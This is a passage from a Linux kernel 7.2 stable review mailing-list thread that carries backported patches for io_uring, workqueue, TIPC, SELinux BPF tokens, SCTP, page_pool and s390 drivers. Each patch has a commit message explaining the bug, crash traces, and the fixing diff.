Cc: stable@vger.kernel.org
Signed-off-by: Ilya Maximets <i.maximets@ovn.org>
Reviewed-by: Asbjørn Sloth Tønnesen <ast@fiberby.net>
Link: https://patch.msgid.link/20260826220444.4054714-3-i.maximets@ovn.org
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
Documentation/netlink/specs/conntrack.yaml | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
--- a/Documentation/netlink/specs/conntrack.yaml
+++ b/Documentation/netlink/specs/conntrack.yaml
@@ -604,10 +604,12 @@ operations:
attributes:
- tuple-orig
- tuple-reply
- - mark
- - filter
- status
+ - mark
- zone
+ - mark-mask
+ - filter
+ - status-mask
reply:
value: 0x100
attributes:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 195/242] io_uring/cancel: dont spin on local work the task cant run
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (191 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 194/242] netlink: specs: add missing mask attributes for conntrack dump Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 196/242] workqueue: Use raise_softirq() to trigger softirq in irq_work handler Greg Kroah-Hartman
` (48 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, AutonomousCodeSecurity,
Cen Zhang (Microsoft Security FORGE Labs), Jens Axboe
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
commit fddcf4c5321b3ea5f72166c3fd36a9d1c34f80c7 upstream.
io_uring_cancel_generic() refuses to sleep while any ring on the exiting
task's tctx has local work pending. It assumes the task is that ring's
submitter and that the next io_uring_try_cancel_requests() pass will run
the work. This does not hold for a ring that was still
IORING_SETUP_R_DISABLED when the task got its tctx node from
io_uring_create() or io_ringfd_register(). The submitter is set later by
IORING_REGISTER_ENABLE_RINGS, possibly from another task, and only the
submitter may run local work on an IORING_SETUP_DEFER_TASKRUN ring. To
the exiting task the work stays pending forever, the loop never reaches
schedule(), and the task trips the WARN_ON_ONCE() once and then spins in
do_exit().
An unprivileged user can set this up at will by creating a disabled
ring, having a child enable it and stop, posting to the ring with
IORING_OP_MSG_RING and exiting with a request in flight that only the
child can complete. The exiting thread burns a CPU until the child runs
or dies, and with panic_on_warn set the WARN panics the kernel.
Fix by skipping the sleep only when io_allowed_defer_tw_run() allows the
task to run the work. This is reasonable since work it cannot run cannot
complete any of its requests either, so nothing is lost by sleeping.
Drop the WARN_ON_ONCE() since handing a disabled ring to another thread
is a supported scenario, not a bug state.
Fixes: 360cd42c4e95 ("io_uring: optimise io_req_local_work_add")
Reported-by: AutonomousCodeSecurity@microsoft.com
Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
Link: https://patch.msgid.link/20261008191602.45101-1-cenzhang@linux.microsoft.com
Signed-off-by: Jens Axboe <axboe@kernel.dk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
io_uring/cancel.c | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
--- a/io_uring/cancel.c
+++ b/io_uring/cancel.c
@@ -634,12 +634,11 @@ __cold void io_uring_cancel_generic(bool
prepare_to_wait(&tctx->wait, &wait, TASK_INTERRUPTIBLE);
io_run_task_work();
io_uring_drop_tctx_refs(current);
+ /* only skip the sleep for local work this task may run */
xa_for_each(&tctx->xa, index, node) {
- if (io_local_work_pending(node->ctx)) {
- WARN_ON_ONCE(node->ctx->submitter_task &&
- node->ctx->submitter_task != current);
+ if (io_local_work_pending(node->ctx) &&
+ io_allowed_defer_tw_run(node->ctx))
goto end_wait;
- }
}
/*
* If we've seen completions, retry without waiting. This
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 196/242] workqueue: Use raise_softirq() to trigger softirq in irq_work handler
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (192 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 195/242] io_uring/cancel: dont spin on local work the task cant run Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 197/242] workqueue: Annotate cb_lock nesting when draining a dead BH pool Greg Kroah-Hartman
` (47 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Zqiang, Tejun Heo
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Zqiang <qiang.zhang@linux.dev>
commit 7e2f2a377ac9f50296ad60bd331f0d4def7aee51 upstream.
bh_pool_kick_normal() and bh_pool_kick_highpri() are registered via
init_irq_work() without the IRQ_WORK_HARD_IRQ flag. On PREEMPT_RT, such
irq_work items are processed by the per-CPU irq_workd kthread in preemptible
task context with IRQs enabled. However, raise_softirq_irqoff() requires
IRQs to be disabled. Calling it from irq_workd trips the lockdep assertion
in __raise_softirq_irqoff() and the non-atomic update of the softirq pending
mask can lose bits raised by an interrupt on the same CPU. Replace
raise_softirq_irqoff() with raise_softirq() in the irq_work handlers.
Fixes: 2f34d7337d98 ("workqueue: Fix queue_work_on() with BH workqueues")
Cc: stable@vger.kernel.org # v6.9+
Signed-off-by: Zqiang <qiang.zhang@linux.dev>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/workqueue.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -7956,12 +7956,12 @@ static inline void wq_watchdog_init(void
static void bh_pool_kick_normal(struct irq_work *irq_work)
{
- raise_softirq_irqoff(TASKLET_SOFTIRQ);
+ raise_softirq(TASKLET_SOFTIRQ);
}
static void bh_pool_kick_highpri(struct irq_work *irq_work)
{
- raise_softirq_irqoff(HI_SOFTIRQ);
+ raise_softirq(HI_SOFTIRQ);
}
static void __init restrict_unbound_cpumask(const char *name, const struct cpumask *mask)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 197/242] workqueue: Annotate cb_lock nesting when draining a dead BH pool
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (193 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 196/242] workqueue: Use raise_softirq() to trigger softirq in irq_work handler Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 198/242] tipc: protect node reset trace dump with node lock Greg Kroah-Hartman
` (46 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Tejun Heo,
syzbot+1bd20115328f8254ed62
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tejun Heo <tj@kernel.org>
commit 6eca8f94d84106d3754b9df27f46a14572af9e7f upstream.
On PREEMPT_RT, bh_worker() wraps work item execution in pool->cb_lock to
provide a handshake for canceling BH work items. When a CPU goes down,
drain_dead_softirq_workfn() runs the dead pool's bh_worker() nested inside
the local pool's bh_worker(), acquiring the cb_locks of two different pools
without a nesting annotation. lockdep reports possible recursive locking:
============================================
WARNING: possible recursive locking detected
--------------------------------------------
ktimers/0/16 is trying to acquire lock:
ffff8880b873a990 (&pool->cb_lock){+...}-{3:3}, at: bh_worker+0x7d/0x880
but task is already holding lock:
ffff8880b863a990 (&pool->cb_lock){+...}-{3:3}, at: bh_worker+0x7d/0x880
Call Trace:
bh_worker+0x7d/0x880 kernel/workqueue.c:3688
drain_dead_softirq_workfn+0x95/0x220 kernel/workqueue.c:3763
process_scheduled_works+0xa8e/0x14e0 kernel/workqueue.c:3405
bh_worker+0x46a/0x880 kernel/workqueue.c:3708
tasklet_action+0xc/0x70 kernel/softirq.c:965
The nesting can't deadlock. A pool's bh_worker() runs nested only while the
pool's CPU is dead, entered from a live pool's bh_worker() on the draining
CPU, so the ordering is always live to dead. CPU hotplug operations are
serialized and the drain is synchronous, so the nesting depth never exceeds
two. Annotate the inner acquisition with SINGLE_DEPTH_NESTING.
Signed-off-by: Tejun Heo <tj@kernel.org>
Reported-by: syzbot+1bd20115328f8254ed62@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=1bd20115328f8254ed62
Fixes: ad7c7f4b9c6c ("workqueue: Provide a handshake for canceling BH workers")
Cc: stable@vger.kernel.org # v6.18+
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/workqueue.c | 11 ++++++++++-
1 file changed, 10 insertions(+), 1 deletion(-)
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -3141,7 +3141,16 @@ restart:
#ifdef CONFIG_PREEMPT_RT
static void worker_lock_callback(struct worker_pool *pool)
{
- spin_lock(&pool->cb_lock);
+ /*
+ * SINGLE_DEPTH_NESTING is for a dead pool's bh_worker() running from
+ * drain_dead_softirq_workfn() inside a live pool's bh_worker(). The
+ * unlocked read is stable: the flag is only set while @pool's CPU is
+ * dead, inside a serialized hotplug operation. data_race() as the value
+ * only affects the lockdep annotation and the read can be elided when
+ * lockdep is disabled.
+ */
+ spin_lock_nested(&pool->cb_lock,
+ data_race(pool->flags) & POOL_BH_DRAINING ? SINGLE_DEPTH_NESTING : 0);
}
static void worker_unlock_callback(struct worker_pool *pool)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 198/242] tipc: protect node reset trace dump with node lock
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (194 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 197/242] workqueue: Annotate cb_lock nesting when draining a dead BH pool Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 199/242] selinux: fix BPF token permission checks Greg Kroah-Hartman
` (45 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Chengfeng Ye, Tung Nguyen,
Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chengfeng Ye <nicoyip.dev@gmail.com>
commit dddf197f29ba5e47a476dde82bf542ca2e0d5e5e upstream.
The tipc_node_reset_links trace event asks tipc_node_dump() to walk the
node's link entries. Unlike the other node events that request link data,
this event runs without the node lock.
This permits bearer teardown to free a link while the trace callback is
dumping it:
CPU 0 CPU 1
trace_tipc_node_reset_links()
tipc_node_dump()
l = n->links[0].link
tipc_node_write_lock()
kfree(l)
n->links[0].link = NULL
tipc_node_write_unlock()
tipc_link_dump(l)
tipc_link_dump() then dereferences the stale pointer. KASAN reported:
BUG: KASAN: slab-use-after-free in tipc_link_dump
Read of size 4 by task poc/115
Call Trace:
tipc_link_dump+0x10cb/0x16b0
tipc_node_dump+0x4bb/0x740
trace_event_raw_event_tipc_node_class+0x258/0x360
tipc_node_reset_links+0x14d/0x1a0
tipc_rcv+0x13f5/0x3030
tipc_udp_recv+0x4e3/0x670
Allocated by task 0:
tipc_link_create+0x1e1/0x1020
tipc_node_check_dest+0x7d2/0x11a0
tipc_disc_rcv+0xdbf/0x1430
Freed by task 89:
kfree+0x131/0x3c0
tipc_node_link_down+0x267/0x4b0
tipc_node_delete_links+0xec/0x160
bearer_disable+0x107/0x260
Take the node write lock around the trace event. This serializes the
dump against tipc_node_link_down(delete=true), which frees the link
under the same write lock.
Fixes: eb18a510b5cd ("tipc: add trace_events for tipc node")
Cc: stable@vger.kernel.org
Signed-off-by: Chengfeng Ye <nicoyip.dev@gmail.com>
Reviewed-by: Tung Nguyen <tung.quang.nguyen@est.tech>
Link: https://patch.msgid.link/20260825190141.242219-1-nicoyip.dev@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/tipc/node.c | 2 ++
1 file changed, 2 insertions(+)
--- a/net/tipc/node.c
+++ b/net/tipc/node.c
@@ -1333,7 +1333,9 @@ static void tipc_node_reset_links(struct
pr_warn("Resetting all links to %x\n", n->addr);
+ tipc_node_write_lock(n);
trace_tipc_node_reset_links(n, true, " ");
+ tipc_node_write_unlock_fast(n);
for (i = 0; i < MAX_BEARERS; i++) {
tipc_node_link_down(n, i, false);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 199/242] selinux: fix BPF token permission checks
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (195 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 198/242] tipc: protect node reset trace dump with node lock Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 200/242] sctp: validate chunk length in the inqueue parser Greg Kroah-Hartman
` (44 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Stephen Smalley, Paul Moore
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paul Moore <paul@paul-moore.com>
commit 77d499e61d36e883a6ad1f10afe05f556aa7e0cc upstream.
Avoid multiple lookups of the bpffs creator SID using the token's file
descriptor when the same information can be found via the resolved
path/dentry (in selinux_bpf_token_create()) or the token itself (in
selinux_bpf_map_create() and selinux_bpf_prog_load()). Not only does
this simplify the code, it avoids potential TOCTOU issues if the user
changes the token file descriptor passed into the kernel.
Cc: stable@vger.kernel.org
Fixes: 5473a722f782 ("selinux: add support for BPF token access control")
Reviewed-by: Stephen Smalley <stephen.smalley.work@gmail.com>
Tested-by: Stephen Smalley <stephen.smalley.work@gmail.com>
Signed-off-by: Paul Moore <paul@paul-moore.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
security/selinux/hooks.c | 36 ++++++++++--------------------------
1 file changed, 10 insertions(+), 26 deletions(-)
--- a/security/selinux/hooks.c
+++ b/security/selinux/hooks.c
@@ -7382,24 +7382,6 @@ static int selinux_bpf_prog(struct bpf_p
BPF__PROG_RUN, NULL);
}
-static u32 selinux_bpffs_creator_sid(u32 fd)
-{
- struct path path;
- struct super_block *sb;
- struct superblock_security_struct *sbsec;
-
- CLASS(fd, f)(fd);
-
- if (fd_empty(f))
- return SECSID_NULL;
-
- path = fd_file(f)->f_path;
- sb = path.dentry->d_sb;
- sbsec = selinux_superblock(sb);
-
- return sbsec->creator_sid;
-}
-
static int selinux_bpf_map_create(struct bpf_map *map, union bpf_attr *attr,
struct bpf_token *token, bool kernel)
{
@@ -7412,7 +7394,7 @@ static int selinux_bpf_map_create(struct
if (!token)
ssid = bpfsec->sid;
else
- ssid = selinux_bpffs_creator_sid(attr->map_token_fd);
+ ssid = selinux_bpf_token_security(token)->grantor_sid;
return avc_has_perm(ssid, bpfsec->sid, SECCLASS_BPF, BPF__MAP_CREATE,
NULL);
@@ -7430,7 +7412,7 @@ static int selinux_bpf_prog_load(struct
if (!token)
ssid = bpfsec->sid;
else
- ssid = selinux_bpffs_creator_sid(attr->prog_token_fd);
+ ssid = selinux_bpf_token_security(token)->grantor_sid;
return avc_has_perm(ssid, bpfsec->sid, SECCLASS_BPF, BPF__PROG_LOAD,
NULL);
@@ -7444,12 +7426,14 @@ static int selinux_bpf_token_create(stru
const struct path *path)
{
struct bpf_security_struct *bpfsec;
- u32 sid = selinux_bpffs_creator_sid(attr->token_create.bpffs_fd);
+ struct superblock_security_struct *sbsec;
int err;
+ sbsec = selinux_superblock(path->dentry->d_sb);
+
bpfsec = selinux_bpf_token_security(token);
bpfsec->sid = current_sid();
- bpfsec->grantor_sid = sid;
+ bpfsec->grantor_sid = sbsec->creator_sid;
bpfsec->perms = 0;
/**
@@ -7458,15 +7442,15 @@ static int selinux_bpf_token_create(stru
* in the allowed_cmds bitmap.
*/
if (bpf_token_cmd(token, BPF_MAP_CREATE)) {
- err = avc_has_perm(bpfsec->sid, sid, SECCLASS_BPF,
- BPF__MAP_CREATE_AS, NULL);
+ err = avc_has_perm(bpfsec->sid, bpfsec->grantor_sid,
+ SECCLASS_BPF, BPF__MAP_CREATE_AS, NULL);
if (err)
return err;
bpfsec->perms |= BPF__MAP_CREATE;
}
if (bpf_token_cmd(token, BPF_PROG_LOAD)) {
- err = avc_has_perm(bpfsec->sid, sid, SECCLASS_BPF,
- BPF__PROG_LOAD_AS, NULL);
+ err = avc_has_perm(bpfsec->sid, bpfsec->grantor_sid,
+ SECCLASS_BPF, BPF__PROG_LOAD_AS, NULL);
if (err)
return err;
bpfsec->perms |= BPF__PROG_LOAD;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 200/242] sctp: validate chunk length in the inqueue parser
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (196 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 199/242] selinux: fix BPF token permission checks Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 201/242] page_pool: keep frag_offset aligned for odd-sized requests Greg Kroah-Hartman
` (43 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Charles Vosburgh, Xin Long,
Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Charles Vosburgh <theminershive@gmail.com>
commit 6cfc1b90cb86f4aabc69fb8e30128e07e2cdfa3a upstream.
SCTP chunks always include a four-byte generic header, but
sctp_inq_pop() currently accepts shorter declared lengths. A zero-length
chunk leaves chunk_end at the current header.
When ASCONF is covered by the association's SCTP-AUTH policy,
sctp_assoc_bh_rcv() can continue before the state machine performs its
normal chunk-length check. sctp_inq_pop() then returns the same malformed
chunk repeatedly and the receive softirq can lock up.
A remote SCTP peer can trigger this after establishing an association on
a kernel built with CONFIG_IP_SCTP and configured with
net.sctp.addip_enable=1 and net.sctp.auth_enable=1. The reproducer did
not require application credentials, a shared SCTP AUTH key, or
net.sctp.addip_noauth_enable=1.
On commit f967455fb2a5 ("seg6: reset IP6CB after IPv6 decapsulation"),
one zero-length ASCONF caused repeated
watchdog soft-lockup reports in a two-vCPU KVM guest. All 3 pre-trigger
health probes succeeded, while 36 of 37 post-trigger probes failed. With
this change, all 37 post-trigger probes succeeded and no equivalent
soft-lockup signature appeared.
Reject chunks shorter than the generic SCTP header at the shared inqueue
parser boundary. Mark the packet for discard before either caller can
continue processing it, while preserving the four-byte generic minimum.
Declared-length 1 through 4 controls and kernel-generated ASCONF traffic
remained healthy. The patched sctp_hello selftest passed for IPv4 and
IPv6.
The complete private reproducer and validation evidence are available
directly to maintainers on request.
Fixes: bbd0d59809f9 ("[SCTP]: Implement the receive and verification of AUTH chunk")
Cc: stable@vger.kernel.org
Signed-off-by: Charles Vosburgh <theminershive@gmail.com>
Acked-by: Xin Long <lucien.xin@gmail.com>
Link: https://patch.msgid.link/20260827-sctp-zero-chunk-inqueue-v2-1-2e7669c6a6cb@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sctp/inqueue.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
--- a/net/sctp/inqueue.c
+++ b/net/sctp/inqueue.c
@@ -212,8 +212,10 @@ new_skb:
chunk->chunk_end = ((__u8 *)ch) + SCTP_PAD4(ntohs(ch->length));
skb_pull(chunk->skb, sizeof(*ch));
chunk->subh.v = NULL; /* Subheader is no longer valid. */
-
- if (chunk->chunk_end + sizeof(*ch) <= skb_tail_pointer(chunk->skb)) {
+ if (unlikely(ntohs(ch->length) < sizeof(*ch))) {
+ chunk->pdiscard = 1;
+ } else if (chunk->chunk_end + sizeof(*ch) <=
+ skb_tail_pointer(chunk->skb)) {
/* This is not a singleton */
chunk->singleton = 0;
} else if (chunk->chunk_end > skb_tail_pointer(chunk->skb)) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 201/242] page_pool: keep frag_offset aligned for odd-sized requests
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (197 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 200/242] sctp: validate chunk length in the inqueue parser Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 202/242] s390/ctcm: Prevent XID null dereference Greg Kroah-Hartman
` (42 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Florian Schauer,
Jesper Dangaard Brouer, Eric Dumazet, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Florian Schauer <florian@schauer.to>
commit dc0df5a0c62ccea1d0e08d39a4dc9064de81d411 upstream.
page_pool_alloc_frag_netmem() rounds the requested fragment size with
size = ALIGN(size, dma_get_cache_alignment());
dma_get_cache_alignment() returns 1 unless the architecture defines
ARCH_DMA_MINALIGN, which DMA-coherent architectures such as x86 do not.
There the ALIGN() is a no-op and pool->frag_offset advances by the raw,
unrounded size.
A single caller asking for an odd size then leaves frag_offset misaligned
for every fragment carved out of that page afterwards. The pool is shared,
so the damage is not confined to the caller that caused it.
The per-cpu system_page_pool used by generic XDP hits this.
skb_pp_cow_data() allocates its fragments with the raw packet length:
size = min_t(u32, len, PAGE_SIZE);
truesize = size;
page = page_pool_dev_alloc(pool, &page_off, &truesize);
leaving frag_offset odd for whatever is carved out of that page next. Its
own head allocation is already aligned -- SKB_HEAD_ALIGN(size) plus the
XDP_PACKET_HEADROOM its callers pass -- so it is a later user of the shared
pool that pays: page_pool_dev_alloc_va() returns a misaligned buffer,
napi_build_skb() installs it as skb->head, and skb_shinfo(skb) ==
skb->head + skb->end is misaligned with it.
skb_shinfo()->dataref is a 4-byte atomic_t at offset 0x20, so the
atomic_inc() in __skb_clone() straddles a cache line. On x86 with split
lock detection -- fatal for kernel split locks by default -- this panics
the machine:
Oops: Split lock detected
RIP: 0010:skb_clone+0x154/0x1e0
Call Trace:
<IRQ>
raw_local_deliver+0x1ed/0x2c0
ip_protocol_deliver_rcu+0x54/0x1c0
ip_local_deliver_finish+0x85/0x100
ip_local_deliver+0x67/0x100
__netif_receive_skb_one_core+0x85/0xa0
process_backlog+0x87/0x130
Reproduced by attaching any generic-mode XDP program to loopback and
opening a RAW IPPROTO_UDP socket, which makes raw_local_deliver() clone
every locally delivered UDP packet; ordinary DNS traffic then triggers it,
roughly once per 2500 clones. Observed on 6.12.101 and 7.1.8.
Tracing page_pool_alloc_frag_netmem() over one such run shows the
amplification -- two odd-sized requests, nine misaligned offsets:
requested size & 7: 0: 17035 5: 1 7: 1
frag_offset & 7: 0: 17028 3: 1 4: 1 5: 1 6: 1 7: 5
and skb_pp_cow_data() returning heads that were aligned on entry:
head 0xffff8f4c86aeac00 -> 0xffff8f4c53a9a9c4 (&7=4)
head 0xffff8f4d6a8a42c0 -> 0xffff8f4c4f7b7a45 (&7=5)
Round the fragment size up to at least the alignment struct skb_shared_info
requires, so fragments are always suitably aligned for the objects callers
build on them. Architectures needing a larger DMA alignment keep it.
This also makes the remainder computed in page_pool_alloc_netmem(),
*size = max_size - *offset;
aligned, since max_size is a power of two -- which fixes the matching
misalignment of skb->end.
Verified with a controlled A/B under QEMU/KVM: same tree, same config,
same compiler, same rootfs and identical traffic, differing only by this
patch. A SEC("xdp.frags") XDP_PASS program on lo plus UDP datagrams
larger than max_head_size drives skb_pp_cow_data()'s fragment loop, which
passes raw packet lengths to the pool. Measured at the return of
skb_pp_cow_data():
unpatched patched
skb_pp_cow_data calls 40800 40800
misaligned skb->head 1120 0
dataref at line offset >60 80 0
The last row counts the accesses that actually fault:
skb_shinfo()->dataref sits at head+end+0x20 and is a 4-byte atomic, so
`lock incl` splits a 64-byte cache line only when that address lands at
offset 61..63. All 80 occurrences were at offset 61; the panic reported
above was at offset 62. Eliminating the misalignment removes every one
of them.
Same class of bug as commit 3bed3cc4156e ("net: Do not allocate page
fragments that are not skb aligned"), which fixed the older
netdev_alloc_frag()/napi_alloc_frag() allocators.
Fixes: 53e0961da1c7 ("page_pool: add frag page recycling support in page pool")
Cc: stable@vger.kernel.org
Signed-off-by: Florian Schauer <florian@schauer.to>
Acked-by: Jesper Dangaard Brouer <hawk@kernel.org>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Link: https://patch.msgid.link/20260828060822.2628276-1-florian@schauer.to
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/core/page_pool.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
--- a/net/core/page_pool.c
+++ b/net/core/page_pool.c
@@ -1073,7 +1073,8 @@ netmem_ref page_pool_alloc_frag_netmem(s
if (WARN_ON(size > max_size))
return 0;
- size = ALIGN(size, dma_get_cache_alignment());
+ size = ALIGN(size, max_t(unsigned int, dma_get_cache_alignment(),
+ __alignof__(struct skb_shared_info)));
*offset = pool->frag_offset;
if (netmem && *offset + size > max_size) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 202/242] s390/ctcm: Prevent XID null dereference
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (198 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 201/242] page_pool: keep frag_offset aligned for odd-sized requests Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 203/242] s390/pai: Handle multiple PMU stop callback invocations Greg Kroah-Hartman
` (41 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Aswin Karuvally, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aswin Karuvally <aswin@linux.ibm.com>
commit b264d8422779d69febce914efc47a92a85cc382c upstream.
The mpc_validate_xid() function sets grp->saved_xid2->xid2_flag2 to 0x40
to signal XID validation error. If peer XID is NULL or r/w channel
pairing mismatch happens, grp->saved_xid2 is never initialized. An
attempt to set the flag in such case leads to NULL dereference.
Fix this by using the always available priv->xid->xid2_flag2 instead of
grp->saved_xid2->xid2_flag2 for validation errors.
Fixes: 293d984f0e36 ("ctcm: infrastructure for replaced ctc driver")
Cc: stable@vger.kernel.org
Signed-off-by: Aswin Karuvally <aswin@linux.ibm.com>
Link: https://patch.msgid.link/20260827063408.2168914-1-aswin@linux.ibm.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/s390/net/ctcm_mpc.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/drivers/s390/net/ctcm_mpc.c
+++ b/drivers/s390/net/ctcm_mpc.c
@@ -826,7 +826,7 @@ static void mpc_action_go_ready(fsm_inst
fsm_deltimer(&grp->timer);
- if (grp->saved_xid2->xid2_flag2 == 0x40) {
+ if (priv->xid->xid2_flag2 == 0x40) {
priv->xid->xid2_flag2 = 0x00;
if (grp->estconnfunc) {
grp->estconnfunc(grp->port_num, 1,
@@ -1636,7 +1636,6 @@ done:
"The XID used in the MPC protocol is not valid, "
"rc = %d\n", rc);
priv->xid->xid2_flag2 = 0x40;
- grp->saved_xid2->xid2_flag2 = 0x40;
}
return rc;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 203/242] s390/pai: Handle multiple PMU stop callback invocations
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (199 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 202/242] s390/ctcm: Prevent XID null dereference Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 204/242] s390/pci: Fix leak of uninitialized kernel data in SCLP report Greg Kroah-Hartman
` (40 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Thomas Richter, Sumanth Korikkar,
Vasily Gorbik, Heiko Carstens
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Thomas Richter <tmricht@linux.ibm.com>
commit f3110e969ad226ffbb2d9b4bf5387e68d0d9ef40 upstream.
Handle the following scenario:
The kernel protects itself against a very high sampling load and
throttles the sampling using:
perf_event_throttle() --> PMU->stop()
Shortly later the scheduler may terminate the task and removes it from the
CPU. It again calls
PMU->stop()
which results in two invocations of PMU->stop() called back to back.
Protect against this and check the PERF_HES_STOPPED bit on function
entry. If it is already set return.
